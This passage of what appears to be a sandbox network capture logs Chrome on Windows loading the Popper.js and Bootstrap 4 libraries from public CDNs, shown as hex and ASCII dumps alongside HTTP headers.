2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 Data Ascii: t,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b Data Ascii: onsole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c Data Ascii: (),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 Data Ascii: e;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e Data Ascii: ){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}fun
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 Data Ascii: ){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argume

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49729	104.18.10.207	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:12 UTC	600	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: https://web3test.pages.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://web3test.pages.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:13 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 08:51:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 0f0df73a3ada2089fba71902de726950 CDN-Cache: HIT CF-Cache-Status: HIT Age: 3897044 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 920287267e7a42ef-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 08:51:13 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49732	104.18.10.207	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:13 UTC	604	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://web3test.pages.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:14 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 08:51:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 1192682 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9202872c593a28c9-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 08:51:14 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
